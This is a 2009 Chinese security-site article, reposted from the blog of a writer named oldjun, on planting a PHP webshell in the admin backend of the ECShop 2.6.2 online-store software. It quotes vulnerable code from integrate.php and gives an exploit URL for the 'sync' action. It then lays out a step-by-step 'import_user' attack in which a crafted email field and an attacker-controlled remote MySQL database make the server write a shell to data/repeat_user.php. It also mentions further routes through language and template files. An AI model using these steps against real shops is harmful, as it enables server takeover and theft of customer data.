首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>入侵实例>文章内容
ECShop_V2.6.2后台获取webshell
来源:http://www.oldjun.com/ 作者:oldjun 发布时间:2009-08-18  

最近风声紧,暂时不写新文章,拿两篇几个月前的老文章凑凑数。注意此篇文章区别于之前我发出的拿shell的办法:http://www.oldjun.com/blog/index.php/archives/42

原创作者:oldjun
文章来源:http://www.oldjun.com/
注:本文已经发表在《黑客防线》2009年05期

ECShop网店系统是一套免费开源的网上商店软件,无论在稳定性、代码优化、运行效率、负载能力、安全等级、功能可操控性和权限严密性等方面都居国内外同类产品领先地位。ECShop网店系统只专注于网上商店软件的开发,因为专注所以专业,已成功为数以万计的企业和个人用户提供完美网上开店解决方案,成为目前国内最受欢迎的网上购物软件之一。ECShop前段时间暴了个注入漏洞,但进了后台后怎么获取webshell,网上没有提及。

研究了一下,ECShop后台能写入的文件不多,经过仔细筛选,我看中了integrate.php这个文件,并发现几处能利用的地方:

一、 ECShop<=V2.6.2后台直接写shell:

if ($_REQUEST['act'] == 'sync')
{
    ......
        $del_list = $db->getCol($sql);//$del_list未初始化,文章来源:http://www.oldjun.com/
  ......
        $rename_list = $db->getAll($sql);//$rename_list未初始化,文章来源:http://www.oldjun.com/
  ......
        $ignore_list = $db->getCol($sql);//$ignore_list未初始化,文章来源:http://www.oldjun.com/
   ......
    $fp = @fopen(ROOT_PATH . DATA_DIR . '/integrate_' . $_SESSION['code'] . '_log.php', 'wb');
    $log = '';
    if (isset($del_list))
    {
        $log .= '$del_list=' . var_export($del_list,true) . ';';
    }
    if (isset($rename_list))
    {
        $log .= '$rename_list=' . var_export($rename_list, true) . ';';
    }
    if (isset($ignore_list))
    {
        $log .= '$ignore_list=' . var_export($ignore_list, true) . ';';
    }
    //未做过滤,直接写log,文章来源:http://www.oldjun.com/
   fwrite($fp, $log);
    fclose($fp);
   ……
}

这个我在博客发过了简单略过,利用方法:http://www.xxx.com/admin/integrate.php?act=sync&del_list=

二、 ECShop_V2.6.2后台获取webshell(只限最新版本):

还是integrate.php这个文件,新更新的版本多了个import_user的act,于是依靠它咱也可以直接获取shell:

if ($_REQUEST['act'] == 'import_user')
{
    $cfg = $_SESSION['cfg'];
    include_once(ROOT_PATH . 'includes/cls_json.php');
    $ucdb = new cls_mysql($cfg['db_host'], $cfg['db_user'], $cfg['db_pass'], $cfg['db_name'], $cfg['db_charset']);
    $json = new JSON();
    $result = array('error' => 0, 'message' => '');
    $query = $db->query("SHOW TABLE STATUS LIKE '" . $GLOBALS['prefix'] . 'users' . "'");
    $data = $db->fetch_array($query);
    if($data["Auto_increment"]) {
        $maxuid = $data["Auto_increment"] - 1;
    } else {
        $maxuid = 0;
    }
    $merge_method = intval($_POST['merge']);
    $merge_uid = array();
    $uc_uid = array();
    $repeat_user = array();

……

    foreach ($truncate_user_table as $table)
    {
        $db->query("TRUNCATE TABLE " . $ecs->table($table));
    }
    // 保存重复的用户信息,文章来源:http://www.oldjun.com/
    if (!empty($repeat_user))
    {
        @file_put_contents(ROOT_PATH . 'data/repeat_user.php', $json->encode($repeat_user));
    }
    $result['error'] = 0;
    $result['message'] = $_LANG['import_user_success'];
    die($json->encode($result));
}

这边有个直接写文件,貌似没过滤,而当我尝试了好久以后,发现这个act好像没有用到,但不管有没有用到,只要存在,我们就有利用的办法。如下是获取shell的步骤:

1. 注册一个用户,为oldjun,后台把email改为

ecshop1
由于有js判断email是否合法,改之前先关掉本地的js脚本执行。

2. 找一个可以远程连接的mysql,建一个数据库,里面复制dz6的表,或者只复制cdb_members表就行了,phpmyadmin里将表名改成members(也可以不修改,但需要伪造表单,所以还是修改了方便),并给这个表增加一个salt字段:

ecshop2
在里面增加一个oldjun帐户,随便填,只要用户名是oldjun即可以。

3. 选择ECSHOP 后台管理中心中的用户整合,选择Discuz! 5.5/6.0后面的安装:

ecshop3
完了填上正确的配置资料(即上面的可以远程连接的数据库),点击下一步。

4. 浏览器新选项卡中打开(需要读session,所以要在新选项卡中打开,否则会提示mysql连接错误):http://127.0.0.1:8080/ecshop/admin/integrate.php?act=import_user

ecshop4
OK,shell成功获取到!

打开:http://127.0.0.1:8080/ecshop/data/repeat_user.php,就是你的shell了,看看内容:

[{"user_id":"2","email":"","user_name":"oldjun","password":"oldjun","question":"","answer":"","sex":"0","birthday":"1949-01-01","user_money":"0.00","frozen_money":"0.00","pay_points":"0","rank_points":"0","address_id":"0","reg_time":"0","last_login":"0","last_time":"0000-00-00 00:00:00","last_ip":"","visit_count":"0","user_rank":"0","is_special":"0","salt":"0","parent_id":"0","flag":"0","alias":"","msn":"","qq":"","office_phone":"","home_phone":"","mobile_phone":"","is_validated":"0","credit_line":"0.00","username":"oldjun"}]

Php小马已经存在,再测试下:

ecshop5

以上两个方法用于magic_quotes_gpc 为on的情况下,其中前者只能用在register_globals为on的前提下,如果register_globals为off请通过数据库构造数据;如果magic_quotes_gpc 为off,可以直接通过修改language文件(edit_languages.php)获取shell;另外,还可以通过修改模板文件获取shell,如果有疑问,请与我联系。


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·另类网站入侵之一句话木马图片的
·0day批量拿站webshell,挖掘机是
·利用ewebeditor 5.5 - 6.0 鸡肋
·OmniPeek抓包的一点看法
·强大的嗅探工具ettercap使用教程
·Windows系统密码破解全攻略
·破解禁止SSID广播
·XSS偷取密码Cookies通用脚本
·XSS漏洞基本攻击代码
·Intel 3945ABG用OmniPeek 4.1抓
·KesionCMS V7.0科汛内容网站管理
·破解无线过滤MAC
  相关文章
·新型万能登陆密码
·some shit tips
·黑客渗透linux下载备份取shell
·oracle注入某市交通局
·武汉IT培训机构网站安全报告
·Windows系统密码破解全攻略
·巧妙利用表自联偏移注入ACC数据
·eshop2.5版本安全测试
·Developing A PHP Core Backdoor
·*nux如何创建后门
·discuz 6.1 版主拿shell?
·一次Resin服务器测试实例
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved